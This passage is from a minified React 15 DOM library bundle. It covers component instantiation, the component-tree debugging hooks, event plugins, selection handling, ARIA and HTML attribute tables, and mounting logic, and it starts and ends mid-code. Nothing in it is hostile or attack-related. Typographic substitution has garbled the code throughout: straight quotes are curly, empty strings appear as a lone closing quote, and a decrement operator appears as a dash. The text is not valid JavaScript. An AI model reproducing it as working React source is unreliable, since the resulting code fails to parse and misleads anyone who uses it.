n.type?t=l.createInternalComponent(n):a(n.type)?(t=new n.type(n),!t.getHostNode&&(t.getHostNode=t.getNativeNode)):t=new h(n)}else’string’==typeof e||’number’==typeof e?t=l.createInstanceForText(e):i(‘131’,typeof e);return!1,t._mountIndex=0,t._mountImage=null,!1,!1,t}var i=n(2),d=n(3),s=n(141),p=n(83),l=n(84),u=n(142),c=n(0),m=n(1),h=function(e){this.construct(e)};d(h.prototype,s,{_instantiateReactComponent:r}),e.exports=r},function(e,t,n){‘use strict’;var o=n(2),a=n(13),r=n(0),i={HOST:0,COMPOSITE:1,EMPTY:2,getType:function(e){if(null===e||!1===e)return i.EMPTY;return a.isValidElement(e)?’function’==typeof e.type?i.COMPOSITE:i.HOST:void o(’26’,e)}};e.exports=i},function(e){‘use strict’;var t={create:function(e){return n(e)}},n;t.injection={injectEmptyComponentFactory:function(e){n=e}},e.exports=t},function(e,t,n){‘use strict’;var o=n(2),a=n(0),r=null,i=null;e.exports={createInternalComponent:function(e){return r?void 0:o(‘111’,e.type),new r(e)},createInstanceForText:function(e){return new i(e)},isTextComponent:function(e){return e instanceof i},injection:{injectGenericComponentClass:function(e){r=e},injectTextComponentClass:function(e){i=e}}}},function(e,t,n){‘use strict’;function o(e,t){return e&&’object’==typeof e&&null!=e.key?l.escape(e.key):t.toString(36)}function a(e,t,n,p){var u=typeof e;if((‘undefined’==u||’boolean’==u)&&(e=null),null===e||’string’==u||’number’==u||’object’==u&&e.$$typeof===d)return n(p,e,”===t?c+o(e,0):t),1;var h=0,g=”===t?c:t+m,f,y;if(Array.isArray(e))for(var _=0;_<e.length;_++)f=e[_],y=g+o(f,_),h+=a(f,y,n,p);else{var i=s(e);if(i){var C=i.call(e),b;if(i!==e.entries)for(var E=0;!(b=C.next()).done;)f=b.value,y=g+o(f,E++),h+=a(f,y,n,p);else for(var v;!(b=C.next()).done;)v=b.value,v&&(f=v[1],y=g+l.escape(v[0])+m+o(f,0),h+=a(f,y,n,p))}else if(‘object’==u){var x=”,N=e+”;r(’31’,'[object Object]’===N?’object with keys {‘+Object.keys(e).join(‘, ‘)+’}’:N,x)}}return h}var r=n(2),i=n(8),d=n(143),s=n(144),p=n(0),l=n(61),u=n(1),c=’.’,m=’:’;e.exports=function(e,t,n){return null==e?0:a(e,”,t,n)}},function(e,t,n){‘use strict’;function o(e){var t=Function.prototype.toString,n=Object.prototype.hasOwnProperty,o=RegExp(‘^’+t.call(n).replace(/[\\^$.*+?()[\]{}|]/g,’\\$&’).replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,’$1.*?’)+’$’);try{var a=t.call(e);return o.test(a)}catch(e){return!1}}function a(e){var t=h(e);if(t){var n=t.childIDs;g(e),n.forEach(a)}}function r(e,t,n){return’\n in ‘+(e||’Unknown’)+(t?’ (at ‘+t.fileName.replace(/^.*[\\\/]/,”)+’:’+t.lineNumber+’)’:n?’ (created by ‘+n+’)’:”)}function i(e){return null==e?’#empty’:’string’==typeof e||’number’==typeof e?’#text’:’string’==typeof e.type?e.type:e.type.displayName||e.type.name||’Unknown’}function d(e){var t=P.getDisplayName(e),n=P.getElement(e),o=P.getOwnerID(e),a;return o&&(a=P.getDisplayName(o)),void 0,r(t,n&&n._source,a)}var s=n(10),p=n(8),l=n(0),u=n(1),c=’function’==typeof Array.from&&’function’==typeof Map&&o(Map)&&null!=Map.prototype&&’function’==typeof Map.prototype.keys&&o(Map.prototype.keys)&&’function’==typeof Set&&o(Set)&&null!=Set.prototype&&’function’==typeof Set.prototype.keys&&o(Set.prototype.keys),m,h,g,f,y,_,C;if(c){var b=new Map,E=new Set;m=function(e,t){b.set(e,t)},h=function(e){return b.get(e)},g=function(e){b[‘delete’](e)},f=function(){return Array.from(b.keys())},y=function(e){E.add(e)},_=function(e){E[‘delete’](e)},C=function(){return Array.from(E.keys())}}else{var v={},x={},N=function(e){return’.’+e},T=function(e){return parseInt(e.substr(1),10)};m=function(e,t){var n=N(e);v[n]=t},h=function(e){var t=N(e);return v[t]},g=function(e){var t=N(e);delete v[t]},f=function(){return Object.keys(v).map(T)},y=function(e){var t=N(e);x[t]=!0},_=function(e){var t=N(e);delete x[t]},C=function(){return Object.keys(x).map(T)}}var k=[],P={onSetChildren:function(e,t){var n=h(e);n?void 0:s(‘144’),n.childIDs=t;for(var o=0;o<t.length;o++){var a=t[o],r=h(a);r?void 0:s(‘140′),null!=r.childIDs||’object’!=typeof r.element||null==r.element?void 0:s(‘141′),r.isMounted?void 0:s(’71’),null==r.parentID&&(r.parentID=e),r.parentID===e?void 0:s(‘142’,a,r.parentID,e)}},onBeforeMountComponent:function(e,t,n){m(e,{element:t,parentID:n,text:null,childIDs:[],isMounted:!1,updateCount:0})},onBeforeUpdateComponent:function(e,t){var n=h(e);n&&n.isMounted&&(n.element=t)},onMountComponent:function(e){var t=h(e);t?void 0:s(‘144’),t.isMounted=!0;var n=0===t.parentID;n&&y(e)},onUpdateComponent:function(e){var t=h(e);t&&t.isMounted&&t.updateCount++},onUnmountComponent:function(e){var t=h(e);if(t){t.isMounted=!1;var n=0===t.parentID;n&&_(e)}k.push(e)},purgeUnmountedComponents:function(){if(!P._preventPurging){for(var e=0,t;e<k.length;e++)t=k[e],a(t);k.length=0}},isMounted:function(e){var t=h(e);return!!t&&t.isMounted},getCurrentStackAddendum:function(e){var t=”;if(e){var n=i(e),o=e._owner;t+=r(n,e._source,o&&o.getName())}var a=p.current,d=a&&a._debugID;return t+=P.getStackAddendumByID(d),t},getStackAddendumByID:function(e){for(var t=”;e;)t+=d(e),e=P.getParentID(e);return t},getChildIDs:function(e){var t=h(e);return t?t.childIDs:[]},getDisplayName:function(e){var t=P.getElement(e);return t?i(t):null},getElement:function(e){var t=h(e);return t?t.element:null},getOwnerID:function(e){var t=P.getElement(e);return t&&t._owner?t._owner._debugID:null},getParentID:function(e){var t=h(e);return t?t.parentID:null},getSource:function(e){var t=h(e),n=t?t.element:null,o=null==n?null:n._source;return o},getText:function(e){var t=P.getElement(e);return’string’==typeof t?t:’number’==typeof t?”+t:null},getUpdateCount:function(e){var t=h(e);return t?t.updateCount:0},getRootIDs:C,getRegisteredIDs:f,pushNonStandardWarningStack:function(e,t){if(‘function’==typeof console.reactStack){var n=[],o=p.current,a=o&&o._debugID;try{for(e&&n.push({name:a?P.getDisplayName(a):null,fileName:t?t.fileName:null,lineNumber:t?t.lineNumber:null});a;){var r=P.getElement(a),i=P.getParentID(a),d=P.getOwnerID(a),s=d?P.getDisplayName(d):null,l=r&&r._source;n.push({name:s,fileName:l?l.fileName:null,lineNumber:l?l.lineNumber:null}),a=i}}catch(e){}console.reactStack(n)}},popNonStandardWarningStack:function(){‘function’!=typeof console.reactStackEnd||console.reactStackEnd()}};e.exports=P},function(e,t,n){‘use strict’;var o=n(5);e.exports={listen:function(e,t,n){return e.addEventListener?(e.addEventListener(t,n,!1),{remove:function(){e.removeEventListener(t,n,!1)}}):e.attachEvent?(e.attachEvent(‘on’+t,n),{remove:function(){e.detachEvent(‘on’+t,n)}}):void 0},capture:function(e,t,n){return e.addEventListener?(e.addEventListener(t,n,!0),{remove:function(){e.removeEventListener(t,n,!0)}}):(!1,{remove:o})},registerDefault:function(){}}},function(e,t,n){‘use strict’;function o(e){return r(document.documentElement,e)}var a=n(156),r=n(158),i=n(76),d=n(89),s={hasSelectionCapabilities:function(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(‘input’===t&&’text’===e.type||’textarea’===t||’true’===e.contentEditable)},getSelectionInformation:function(){var e=d();return{focusedElem:e,selectionRange:s.hasSelectionCapabilities(e)?s.getSelection(e):null}},restoreSelection:function(e){var t=d(),n=e.focusedElem,a=e.selectionRange;t!==n&&o(n)&&(s.hasSelectionCapabilities(n)&&s.setSelection(n,a),i(n))},getSelection:function(e){var t;if(‘selectionStart’in e)t={start:e.selectionStart,end:e.selectionEnd};else if(document.selection&&e.nodeName&&’input’===e.nodeName.toLowerCase()){var n=document.selection.createRange();n.parentElement()===e&&(t={start:-n.moveStart(‘character’,-e.value.length),end:-n.moveEnd(‘character’,-e.value.length)})}else t=a.getOffsets(e);return t||{start:0,end:0}},setSelection:function(e,t){var n=t.start,o=t.end;if(void 0===o&&(o=n),’selectionStart’in e)e.selectionStart=n,e.selectionEnd=Math.min(o,e.value.length);else if(document.selection&&e.nodeName&&’input’===e.nodeName.toLowerCase()){var r=e.createTextRange();r.collapse(!0),r.moveStart(‘character’,n),r.moveEnd(‘character’,o-n),r.select()}else a.setOffsets(e,t)}};e.exports=s},function(e){‘use strict’;e.exports=function(e){if(e=e||(‘undefined’==typeof document?void 0:document),’undefined’==typeof e)return null;try{return e.activeElement||e.body}catch(t){return e.body}}},function(e,t,n){‘use strict’;function o(e,t){for(var n=Math.min(e.length,t.length),o=0;o<n;o++)if(e.charAt(o)!==t.charAt(o))return o;return e.length===t.length?-1:n}function a(e){return e?e.nodeType===F?e.documentElement:e.firstChild:null}function r(e){return e.getAttribute&&e.getAttribute(O)||”}function i(e,t,n,o,a){var r;if(v.logTopLevelRenders){var i=e._currentElement.props.child,d=i.type;r=’React mount: ‘+(‘string’==typeof d?d:d.displayName||d.name),console.time(r)}var s=k.mountComponent(e,n,null,b(e,t),a,0);r&&console.timeEnd(r),e._renderedComponent._topLevelWrapper=e,H._mountImageIntoNode(s,t,e,o,n)}function d(e,t,n,o){var a=I.ReactReconcileTransaction.getPooled(!n&&E.useCreateElement);a.perform(i,null,e,t,a,n,o),I.ReactReconcileTransaction.release(a)}function s(e,t,n){for(!1,k.unmountComponent(e,n),!1,t.nodeType===F&&(t=t.documentElement);t.lastChild;)t.removeChild(t.lastChild)}function p(e){var t=a(e);if(t){var n=C.getInstanceFromNode(t);return!!(n&&n._hostParent)}}function l(e){return!!(e&&(e.nodeType===U||e.nodeType===F||e.nodeType===V))}function u(e){var t=a(e),n=t&&C.getInstanceFromNode(t);return n&&!n._hostParent?n:null}function c(e){var t=u(e);return t?t._hostContainerInfo._topLevelWrapper:null}var m=n(2),h=n(18),g=n(16),f=n(13),y=n(33),_=n(8),C=n(4),b=n(173),E=n(174),v=n(71),x=n(27),N=n(9),T=n(175),k=n(17),P=n(62),I=n(11),M=n(14),S=n(81),w=n(0),R=n(31),D=n(60),A=n(1),O=g.ID_ATTRIBUTE_NAME,L=g.ROOT_ATTRIBUTE_NAME,U=1,F=9,V=11,j={},B=1,W=function(){this.rootID=B++};W.prototype.isReactComponent={},!1,W.prototype.render=function(){return this.props.child},W.isReactTopLevelWrapper=!0;var H={TopLevelWrapper:W,_instancesByReactRootID:j,scrollMonitor:function(e,t){t()},_updateRootComponent:function(e,t,n,o,a){return H.scrollMonitor(o,function(){P.enqueueElementInternal(e,t,n),a&&P.enqueueCallbackInternal(e,a)}),e},_renderNewRootComponent:function(e,t,n,o){void 0,l(t)?void 0:m(’37’),y.ensureScrollValueMonitoring();var a=S(e,!1);I.batchedUpdates(d,a,t,n,o);var r=a._instance.rootID;return j[r]=a,a},renderSubtreeIntoContainer:function(e,t,n,o){return null!=e&&x.has(e)?void 0:m(’38’),H._renderSubtreeIntoContainer(e,t,n,o)},_renderSubtreeIntoContainer:function(e,t,n,o){P.validateCallback(o,’ReactDOM.render’),f.isValidElement(t)?void 0:m(’39’,’string’==typeof t?’ Instead of passing a string like \’div\’, pass React.createElement(\’div\’) or <div />.’:’function’==typeof t?’ Instead of passing a class like Foo, pass React.createElement(Foo) or <Foo />.’:null!=t&&void 0!==t.props?’ This may be caused by unintentionally loading two independent copies of React.’:”),void 0;var i=f.createElement(W,{child:t}),d;if(e){var s=x.get(e);d=s._processChildContext(s._context)}else d=M;var l=c(n);if(l){var u=l._currentElement,h=u.props.child;if(D(h,t)){var g=l._renderedComponent.getPublicInstance(),y=o&&function(){o.call(g)};return H._updateRootComponent(l,i,d,n,y),g}H.unmountComponentAtNode(n)}var _=a(n),C=_&&!!r(_),b=p(n),E=H._renderNewRootComponent(i,n,C&&!l&&!b,d)._renderedComponent.getPublicInstance();return o&&o.call(E),E},render:function(e,t,n){return H._renderSubtreeIntoContainer(null,e,t,n)},unmountComponentAtNode:function(e){void 0,l(e)?void 0:m(’40’),!1;var t=c(e);if(!t){var n=p(e),o=1===e.nodeType&&e.hasAttribute(L);return!1,!1}return delete j[t._instance.rootID],I.batchedUpdates(s,t,e,!1),!0},_mountImageIntoNode:function(e,t,n,r,i){if(l(t)?void 0:m(’41’),r){var d=a(t);if(T.canReuseMarkup(e,d))return void C.precacheNode(n,d);var s=d.getAttribute(T.CHECKSUM_ATTR_NAME);d.removeAttribute(T.CHECKSUM_ATTR_NAME);var p=d.outerHTML;d.setAttribute(T.CHECKSUM_ATTR_NAME,s);var u=e,c=o(u,p),g=’ (client) ‘+u.substring(c-20,c+20)+’\n (server) ‘+p.substring(c-20,c+20);t.nodeType===F?m(’42’,g):void 0,!1}if(t.nodeType===F?m(’43’):void 0,i.useCreateElement){for(;t.lastChild;)t.removeChild(t.lastChild);h.insertTreeBefore(t,e,null)}else R(t,e),C.precacheNode(n,t.firstChild)}};e.exports=H},function(e,t,n){‘use strict’;var o=n(82);e.exports=function(e){for(var t;(t=e._renderedNodeType)===o.COMPOSITE;)e=e._renderedComponent;if(t===o.HOST)return e._renderedComponent;return t===o.EMPTY?null:void 0}},,,,,,,,,,,,function(e,t,n){‘use strict’;e.exports=n(104)},function(e,t,n){‘use strict’;var o=n(4),a=n(105),r=n(90),i=n(17),d=n(11),s=n(177),p=n(178),l=n(91),u=n(179),c=n(1);a.inject();var m={findDOMNode:p,render:r.render,unmountComponentAtNode:r.unmountComponentAtNode,version:s,unstable_batchedUpdates:d.batchedUpdates,unstable_renderSubtreeIntoContainer:u};’undefined’!=typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&’function’==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.inject&&__REACT_DEVTOOLS_GLOBAL_HOOK__.inject({ComponentTree:{getClosestInstanceFromNode:o.getClosestInstanceFromNode,getNodeFromInstance:function(e){return e._renderedComponent&&(e=l(e)),e?o.getNodeFromInstance(e):null}},Mount:r,Reconciler:i});e.exports=m},function(e,t,n){‘use strict’;var o=n(106),a=n(107),r=n(111),i=n(114),d=n(115),s=n(116),p=n(117),l=n(123),u=n(4),c=n(148),m=n(149),h=n(150),g=n(151),f=n(152),y=n(154),_=n(155),C=n(161),b=n(162),E=n(163),v=!1;e.exports={inject:function(){v||(v=!0,y.EventEmitter.injectReactEventListener(f),y.EventPluginHub.injectEventPluginOrder(i),y.EventPluginUtils.injectComponentTree(u),y.EventPluginUtils.injectTreeTraversal(m),y.EventPluginHub.injectEventPluginsByName({SimpleEventPlugin:E,EnterLeaveEventPlugin:d,ChangeEventPlugin:r,SelectEventPlugin:b,BeforeInputEventPlugin:a}),y.HostComponent.injectGenericComponentClass(l),y.HostComponent.injectTextComponentClass(h),y.DOMProperty.injectDOMPropertyConfig(o),y.DOMProperty.injectDOMPropertyConfig(s),y.DOMProperty.injectDOMPropertyConfig(C),y.EmptyComponent.injectEmptyComponentFactory(function(e){return new c(e)}),y.Updates.injectReconcileTransaction(_),y.Updates.injectBatchingStrategy(g),y.Component.injectEnvironment(p))}}},function(e){‘use strict’;e.exports={Properties:{“aria-current”:0,”aria-details”:0,”aria-disabled”:0,”aria-hidden”:0,”aria-invalid”:0,”aria-keyshortcuts”:0,”aria-label”:0,”aria-roledescription”:0,”aria-autocomplete”:0,”aria-checked”:0,”aria-expanded”:0,”aria-haspopup”:0,”aria-level”:0,”aria-modal”:0,”aria-multiline”:0,”aria-multiselectable”:0,”aria-orientation”:0,”aria-placeholder”:0,”aria-pressed”:0,”aria-readonly”:0,”aria-required”:0,”aria-selected”:0,”aria-sort”:0,”aria-valuemax”:0,”aria-valuemin”:0,”aria-valuenow”:0,”aria-valuetext”:0,”aria-atomic”:0,”aria-busy”:0,”aria-live”:0,”aria-relevant”:0,”aria-dropeffect”:0,”aria-grabbed”:0,”aria-activedescendant”:0,”aria-colcount”:0,”aria-colindex”:0,”aria-colspan”:0,”aria-controls”:0,”aria-describedby”:0,”aria-errormessage”:0,”aria-flowto”:0,”aria-labelledby”:0,”aria-owns”:0,”aria-posinset”:0,”aria-rowcount”:0,”aria-rowindex”:0,”aria-rowspan”:0,”aria-setsize”:0},DOMAttributeNames:{},DOMPropertyNames:{}}},function(e,t,n){‘use strict’;function o(e){return(e.ctrlKey||e.altKey||e.metaKey)&&!(e.ctrlKey&&e.altKey)}function a(e){return’topCompositionStart’===e?T.compositionStart:’topCompositionEnd’===e?T.compositionEnd:’topCompositionUpdate’===e?T.compositionUpdate:void 0}function r(e,t){return’topKeyDown’===e&&t.keyCode===_}function i(e,t){return’topKeyUp’===e?-1!==y.indexOf(t.keyCode):’topKeyDown’===e?t.keyCode!==_:’topKeyPress’==e||’topMouseDown’==e||’topBlur’==e}function d(e){var t=e.detail;return’object’==typeof t&&’data’in t?t.data:null}function s(e,t,n,o){var s,p;if(C?s=a(e):P?i(e,n)&&(s=T.compositionEnd):r(e,n)&&(s=T.compositionStart),!s)return null;v&&(P||s!==T.compositionStart?s===T.compositionEnd&&P&&(p=P.getData()):P=h.getPooled(o));var l=g.getPooled(s,t,n,o);if(p)l.data=p;else{var u=d(n);null!==u&&(l.data=u)}return c.accumulateTwoPhaseDispatches(l),l}function p(e,t){switch(e){case’topCompositionEnd’:return d(t);case’topKeyPress’:var n=t.which;return n===x?(k=!0,N):null;case’topTextInput’:var o=t.data;return o===N&&k?null:o;default:return null;}}function l(e,t){if(P){if(‘topCompositionEnd’===e||!C&&i(e,t)){var n=P.getData();return h.release(P),P=null,n}return null}return’topPaste’===e?null:’topKeyPress’===e?t.which&&!o(t)?String.fromCharCode(t.which):null:’topCompositionEnd’===e?v?null:t.data:null}function u(e,t,n,o){var a;if(a=E?p(e,n):l(e,n),!a)return null;var r=f.getPooled(T.beforeInput,t,n,o);return r.data=a,c.accumulateTwoPhaseDispatches(r),r}var c=n(24),m=n(6),h=n(108),g=n(109),f=n(110),y=[9,13,27,32],_=229,C=m.canUseDOM&&’CompositionEvent’in window,b=null;m.canUseDOM&&’documentMode’in document&&(b=document.documentMode);var E=m.canUseDOM&&’TextEvent’in window&&!b&&!function(){var e=window.opera;return’object’==typeof e&&’function’==typeof e.version&&12>=parseInt(e.version(),10)}(),v=m.canUseDOM&&(!C||b&&8<b&&11>=b),x=32,N=’ ‘,T={beforeInput:{phasedRegistrationNames:{bubbled:’onBeforeInput’,captured:’onBeforeInputCapture’},dependencies:[‘topCompositionEnd’,’topKeyPress’,’topTextInput’,’topPaste’]},compositionEnd:{phasedRegistrationNames:{bubbled:’onCompositionEnd’,captured:’onCompositionEndCapture’},dependencies:[‘topBlur’,’topCompositionEnd’,’topKeyDown’,’topKeyPress’,’topKeyUp’,’topMouseDown’]},compositionStart:{phasedRegistrationNames:{bubbled:’onCompositionStart’,captured:’onCompositionStartCapture’},dependencies:[‘topBlur’,’topCompositionStart’,’topKeyDown’,’topKeyPress’,’topKeyUp’,’topMouseDown’]},compositionUpdate:{phasedRegistrationNames:{bubbled:’onCompositionUpdate’,captured:’onCompositionUpdateCapture’},dependencies:[‘topBlur’,’topCompositionUpdate’,’topKeyDown’,’topKeyPress’,’topKeyUp’,’topMouseDown’]}},k=!1,P=null;e.exports={eventTypes:T,extractEvents:function(e,t,n,o){return[s(e,t,n,o),u(e,t,n,o)]}}},function(e,t,n){‘use strict’;function o(e){this._root=e,this._startText=this.getText(),this._fallbackText=null}var a=n(3),r=n(15),i=n(69);a(o.prototype,{destructor:function(){this._root=null,this._startText=null,this._fallbackText=null},getText:function(){return’value’in this._root?this._root.value:this._root[i()]},getData:function(){if(this._fallbackText)return this._fallbackText;var e=this._startText,t=e.length,n=this.getText(),o=n.length,a,r;for(a=0;a<t&&e[a]===n[a];a++);var i=t-a;for(r=1;r<=i&&e[t-r]===n[o-r];r++);var d=1<r?1-r:void 0;return this._fallbackText=n.slice(a,d),this._fallbackText}}),r.addPoolingTo(o),e.exports=o},function(e,t,n){‘use strict’;function o(e,t,n,o){return a.call(this,e,t,n,o)}var a=n(12);a.augmentClass(o,{data:null}),e.exports=o},function(e,t,n){‘use strict’;function o(e,t,n,o){return a.call(this,e,t,n,o)}var a=n(12);a.augmentClass(o,{data:null}),e.exports=o},function(e,t,n){‘use strict’;function o(e,t,n){var o=k.getPooled(w.change,e,t,n);return o.type=’change’,v.accumulateTwoPhaseDispatches(o),o}function a(e){var t=e.nodeName&&e.nodeName.toLowerCase();return’select’===t||’input’===t&&’file’===e.type}function r(e){var t=o(D,e,I(e));T.batchedUpdates(i,t)}function i(e){E.enqueueEvents(e),E.processEventQueue(!1)}function d(e,t){R=e,D=t,R.attachEvent(‘onchange’,r)}function s(){R&&(R.detachEvent(‘onchange’,r),R=null,D=null)}function p(e,t){var n=P.updateValueIfChanged(e),o=!0===t.simulated&&L._allowSimulatedPassThrough;if(n||o)return e}function l(e,t){if(‘topChange’===e)return t}function u(e,t,n){‘topFocus’===e?(s(),d(t,n)):’topBlur’===e&&s()}function c(e,t){R=e,D=t,R.attachEvent(‘onpropertychange’,h)}function m(){R&&(R.detachEvent(‘onpropertychange’,h),R=null,D=null)}function h(e){‘value’!==e.propertyName||p(D,e)&&r(e)}function g(e,t,n){‘topFocus’===e?(m(),c(t,n)):’topBlur’===e&&m()}function f(e,t,n){if(‘topSelectionChange’===e||’topKeyUp’===e||’topKeyDown’===e)return p(D,n)}function y(e){var t=e.nodeName;return t&&’input’===t.toLowerCase()&&(‘checkbox’===e.type||’radio’===e.type)}function _(e,t,n){if(‘topClick’===e)return p(t,n)}function C(e,t,n){if(‘topInput’===e||’topChange’===e)return p(t,n)}function b(e,t){if(null!=e){var n=e._wrapperState||t._wrapperState;if(n&&n.controlled&&’number’===t.type){var o=”+t.value;t.getAttribute(‘value’)!==o&&t.setAttribute(‘value’,o)}}}var E=n(25),v=n(24),x=n(6),N=n(4),T=n(11),k=n(12),P=n(72),I=n(51),M=n(52),S=n(73),w={change:{phasedRegistrationNames:{bubbled:’onChange’,captured:’onChangeCapture’},dependencies:[‘topBlur’,’topChange’,’topClick’,’topFocus’,’topInput’,’topKeyDown’,’topKeyUp’,’topSelectionChange’]}},R=null,D=null,A=!1;x.canUseDOM&&(A=M(‘change’)&&(!document.documentMode||8<document.documentMode));var O=!1;x.canUseDOM&&(O=M(‘input’)&&(!(‘documentMode’in document)||9<document.documentMode));var L={eventTypes:w,_allowSimulatedPassThrough:!0,_isInputEventSupported:O,extractEvents:function(e,t,n,r){var i=t?N.getNodeFromInstance(t):window,d,s;if(a(i)?A?d=l:s=u:S(i)?O?d=C:(d=f,s=g):y(i)&&(d=_),d){var p=d(e,t,n);if(p){var c=o(p,n,r);return c}}s&&s(e,i,t),’topBlur’===e&&b(t,i)}};e.exports=L},function(e,t,n){‘use strict’;function o(e,t,n){‘function’==typeof e?e(t.getPublicInstance()):r.addComponentAsRefTo(t,e,n)}function a(e,t,n){‘function’==typeof e?e(null):r.removeComponentAsRefFrom(t,e,n)}var r=n(113),i={};i.attachRefs=function(e,t){if(null!==t&&’object’==typeof t){var n=t.ref;null!=n&&o(n,e,t._owner)}},i.shouldUpdateRefs=function(e,t){var n=null,o=null;null!==e&&’object’==typeof e&&(n=e.ref,o=e._owner);var a=null,r=null;return null!==t&&’object’==typeof t&&(a=t.ref,r=t._owner),n!==a||’string’==typeof a&&r!==o},i.detachRefs=function(e,t){if(null!==t&&’object’==typeof t){var n=t.ref;null!=n&&a(n,e,t._owner)}},e.exports=i},function(e,t,n){‘use strict’;function o(e){return!!(e&&’function’==typeof e.attachRef&&’function’==typeof e.detachRef)}var a=n(2),r=n(0);e.exports={addComponentAsRefTo:function(e,t,n){o(n)?void 0:a(‘119’),n.attachRef(t,e)},removeComponentAsRefFrom:function(e,t,n){o(n)?void 0:a(‘120’);var r=n.getPublicInstance();r&&r.refs[t]===e.getPublicInstance()&&n.detachRef(t)}}},function(e){‘use strict’;e.exports=[‘ResponderEventPlugin’,’SimpleEventPlugin’,’TapEventPlugin’,’EnterLeaveEventPlugin’,’ChangeEventPlugin’,’SelectEventPlugin’,’BeforeInputEventPlugin’]},function(e,t,n){‘use strict’;var o=n(24),a=n(4),r=n(30),i={mouseEnter:{registrationName:’onMouseEnter’,dependencies:[‘topMouseOut’,’topMouseOver’]},mouseLeave:{registrationName:’onMouseLeave’,dependencies:[‘topMouseOut’,’topMouseOver’]}};e.exports={eventTypes:i,extractEvents:function(e,t,n,d){if(‘topMouseOver’===e&&(n.relatedTarget||n.fromElement))return null;if(‘topMouseOut’!==e&&’topMouseOver’!==e)return null;var s;if(d.window===d)s=d;else{var p=d.ownerDocument;s=p?p.defaultView||p.parentWindow:window}var l,u;if(‘topMouseOut’===e){l=t;var c=n.relatedTarget||n.toElement;u=c?a.getClosestInstanceFromNode(c):null}else l=null,u=t;if(l===u)return null;var m=null==l?s:a.getNodeFromInstance(l),h=null==u?s:a.getNodeFromInstance(u),g=r.getPooled(i.mouseLeave,l,n,d);g.type=’mouseleave’,g.target=m,g.relatedTarget=h;var f=r.getPooled(i.mouseEnter,u,n,d);return f.type=’mouseenter’,f.target=h,f.relatedTarget=m,o.accumulateEnterLeaveDispatches(g,f,l,u),[g,f]}}},function(e,t,n){‘use strict’;var o=n(16),a=o.injection.MUST_USE_PROPERTY,r=o.injection.HAS_BOOLEAN_VALUE,i=o.injection.HAS_NUMERIC_VALUE,d=o.injection.HAS_POSITIVE_NUMERIC_VALUE,s=o.injection.HAS_OVERLOADED_BOOLEAN_VALUE,p={isCustomAttribute:RegExp.prototype.test.bind(new RegExp(‘^(data|aria)-[‘+o.ATTRIBUTE_NAME_CHAR+’]*$’)),Properties:{accept:0,acceptCharset:0,accessKey:0,action:0,allowFullScreen:r,allowTransparency:0,alt:0,as:0,async:r,autoComplete:0,autoPlay:r,capture:r,cellPadding:0,cellSpacing:0,charSet:0,challenge:0,checked:a|r,cite:0,classID:0,className:0,cols:d,colSpan:0,content:0,contentEditable:0,contextMenu:0,controls:r,coords:0,crossOrigin:0,data:0,dateTime:0,default:r,defer:r,dir:0,disabled:r,download:s,draggable:0,encType:0,form:0,formAction:0,formEncType:0,formMethod:0,formNoValidate:r,formTarget:0,frameBorder:0,headers:0,height:0,hidden:r,high:0,href:0,hrefLang:0,htmlFor:0,httpEquiv:0,icon:0,id:0,inputMode:0,integrity:0,is:0,keyParams:0,keyType:0,kind:0,label:0,lang:0,list:0,loop:r,low:0,manifest:0,marginHeight:0,marginWidth:0,max:0,maxLength:0,media:0,mediaGroup:0,method:0,min:0,minLength:0,multiple:a|r,muted:a|r,name:0,nonce:0,noValidate:r,open:r,optimum:0,pattern:0,placeholder:0,playsInline:r,poster:0,preload:0,profile:0,radioGroup:0,readOnly:r,referrerPolicy:0,rel:0,required:r,reversed:r,role:0,rows:d,rowSpan:i,sandbox:0,scope:0,scoped:r,scrolling:0,seamless:r,selected:a|r,shape:0,size:d,sizes:0,span:d,spellCheck:0,src:0,srcDoc:0,srcLang:0,srcSet:0,start:i,step:0,style:0,summary:0,tabIndex:0,target:0,title:0,type:0,useMap:0,value:0,width:0,wmode:0,wrap:0,about:0,datatype:0,inlist:0,prefix:0,property:0,resource:0,typeof:0,vocab:0,autoCapitalize:0,autoCorrect:0,autoSave:0,color:0,itemProp:0,itemScope:r,itemType:0,itemID:0,itemRef:0,results:0,security:0,unselectable:0},DOMAttributeNames:{acceptCharset:’accept-charset’,className:’class’,htmlFor:’for’,httpEquiv:’http-equiv’},DOMPropertyNames:{},DOMMutationMethods:{value:function(e,t){return null==t?e.removeAttribute(‘value’):void(‘number’!==e.type||!1===e.hasAttribute(‘value’)?e.setAttribute(‘value’,”+t):e.validity&&!e.validity.badInput&&e.ownerDocument.activeElement!==e&&e.setAttribute(‘value’,”+t))}}};e.exports=p},function(e,t,n){‘use strict’;var o=n(54),a=n(122),r={processChildrenUpdates:a.dangerouslyProcessChildrenUpdates,replaceNodeWithMarkup:o.dangerouslyReplaceNodeWithMarkup};e.exports=r},function(e,t,n){‘use strict’;var o=n(2),a=n(18),r=n(6),i=n(119),d=n(5),s=n(0);e.exports={dangerouslyReplaceNodeWithMarkup:function(e,t){if(r.canUseDOM?void 0:o(’56’),t?void 0:o(’57’),’HTML’===e.nodeName?o(’58’):void 0,’string’==typeof t){var n=i(t,d)[0];e.parentNode.replaceChild(n,e)}else a.replaceChildWithTree(e,t)}}},function(e,t,n){‘use strict’;function o(e){var t=e.match(p);return t&&t[1].toLowerCase()}var a=n(6),r=n(120),i=n(121),d=n(0),s=a.canUseDOM?document.createElement(‘div’):null,p=/^\s*<(\w+)/;e.exports=function(e,t){var n=s;!!s?void 0:d(!1);var a=o(e),p=a&&i(a);if(p){n.innerHTML=p[1]+e+p[2];for(var l=p[0];l–;)n=n.lastChild}else n.innerHTML=e;var u=n.getElementsByTagName(‘script’);u.length&&(t?void 0:d(!1),r(u).forEach(t));for(var c=Array.from(n.childNodes);n.lastChild;)n.removeChild(n.lastChild);return c}},function(e,t,n){‘use strict’;function o(e){var t=e.length;if(Array.isArray(e)||’object’!=typeof e&&’function’!=typeof e?r(!1):void 0,’number’==typeof t?void 0:r(!1),0===t||t-1 in e?void 0:r(!1),’function’==typeof e.callee?r(!1):void 0,e.hasOwnProperty)try{return Array.prototype.slice.call(e)}catch(t){}for(var n=Array(t),o=0;o<t;o++)n[o]=e[o];return n}function a(e){return!!e&&(‘object’==typeof e||’function’==typeof e)&&’length’in e&&!(‘setInterval’in e)&&’number’!=typeof e.nodeType&&(Array.isArray(e)||’callee’in e||’item’in e)}var r=n(0);e.exports=function(e){return 